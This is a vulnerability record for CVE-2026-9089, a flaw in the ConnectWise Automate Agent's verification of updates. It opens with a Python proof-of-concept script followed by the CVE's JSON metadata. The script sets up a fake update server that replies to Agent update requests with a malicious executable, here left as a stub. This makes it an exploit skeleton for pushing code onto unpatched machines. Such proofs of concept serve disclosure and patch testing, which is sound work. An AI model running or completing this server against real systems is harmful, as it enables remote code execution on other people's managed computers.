CVE-2026-9089

import socket # Conceptual PoC for CVE-2026-9089: Improper Verification of Cryptographic Signature # This script simulates a malicious update server to demonstrate the lack of validation. MALICIOUS_PAYLOAD = b"\x4D\x5A\x90\x00..." # Stub for malicious executable data def start_fake_update_server(listen_ip='0.0.0.0', listen_port=80): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((listen_ip, listen_port)) server_socket.listen(5) print(f"[*] Listening on {listen_ip}:{listen_port} for Agent update requests...") while True: client_socket, addr = server_socket.accept() print(f"[*] Connection accepted from {addr[0]}") # Capture the request (optional, for logging) request = client_socket.recv(1024) # print(request.decode()) # Construct a fake HTTP response containing the malicious payload # The Agent does not verify the signature, so it accepts this payload http_header = b"HTTP/1.1 200 OK\r\n" http_header += b"Content-Type: application/octet-stream\r\n" http_header += b"Content-Disposition: attachment; filename=update.bin\r\n" http_header += f"Content-Length: {len(MALICIOUS_PAYLOAD)}\r\n".encode() http_header += b"\r\n" response = http_header + MALICIOUS_PAYLOAD client_socket.send(response) print(f"[*] Sent malicious payload to {addr[0]}") client_socket.close() if __name__ == "__main__": start_fake_update_server()

{"cve": {"id": "CVE-2026-9089", "sourceIdentifier": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49", "published": "2026-05-21T16:16:23.570", "lastModified": "2026-05-21T16:16:23.570", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ConnectWise Automate™ Agent does not fully verify the authenticity of components obtained during plugin loading and self-update operations. This issue is addressed in Automate 2026.5."}], "metrics": {"cvssMetricV31": [{"source": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "references": [{"url": "https://www.connectwise.com/company/trust/security-bulletins/2026-05-21-connectwise-automate-bulletin", "source": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49"}]}}